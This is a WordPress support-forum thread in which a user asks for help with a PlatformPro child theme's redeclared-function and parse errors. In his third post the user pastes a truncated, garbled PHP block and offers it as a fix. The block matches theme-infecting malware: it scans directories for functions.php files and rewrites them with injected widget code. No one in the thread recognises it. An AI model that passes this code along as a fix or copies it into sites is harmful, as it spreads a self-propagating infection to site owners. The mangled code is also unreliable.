Jump to content
Sign in to follow this  
ernest8888

Child theme almost working

Recommended Posts

ernest8888

getting this message from my platformbase child theme can you give me a tip on how to solve it Fatal error: Cannot redeclare _checkactive_widgets() (previously declared in /home/ernest88/public_html/wp-content/themes/platformpro/functions.php:16) in /home/ernest88/public_html/wp-content/themes/platformpro/functions.php on line 35

Share this post


Link to post
Share on other sites
Simon
platformpro/functions.php should not have any custom code.

Share this post


Link to post
Share on other sites
ernest8888
Hi thank reinstalling the platformPro theme did not help but after checking the code i see that my child and parent both have function with the same name so I use this to stop the parent function with the same name ") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $comaar . "n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } if ( function_exists('allwidgets_cont') ) {function get_allwidgets_cont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } }or if you need both functions to work change the name in child functions php this has cured the that now maybe you can me with the best honest answer you can give too this new error Parse error: syntax error, unexpected $end in /home/ernest88/public_html/wp-content/themes/cubed_child/functions.php on line 618

Share this post


Link to post
Share on other sites
ernest8888
Dears Pross yes I do understand the concept Leave The code from PlatformPro alone any changes should be made in platformbase. the first promblem i solved maybe you can hekp with this or tell me what you need from me to help me solve it Parse error: syntax error, unexpected $end in /home/ernest88/public_html/wp-content/themes/cubed_child/functions.php on line 618

Share this post


Link to post
Share on other sites
Jenny
This line: [code]/themes/cubed_child/[/code] Is another theme. Perhaps you should contact the theme's author for assistance.

Jenny :: Web designer at Simple Mama (follow me at @simplemamacom)

Check out Share Me, a social sharing add-on for DMS that is super simple to set up.

Share this post


Link to post
Share on other sites
ernest8888
OK I see this is a business world it is all about the money, So the rules are if you buy platformpro you must make a child theme completely from your imagination, and we will help you but if you use parts from another design no help here. We the people who has platformpro should show the internet community the power that pfp has and all the things you can do with it your answer seems to me is stop do not use good ideas to help this community.Sorry did not mean to step on pfp's limits I did talk to the themeforest. people they said we do not know this program, but for better and fast help ask on there forum we are sure it would a great opportunity for them to have more child themes Thanks 62 year old man with dumb ideas

Share this post


Link to post
Share on other sites
Simon
simply pasting the error is not enough, please go to pastie.org, paste the functions.php and give us the link.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this  

×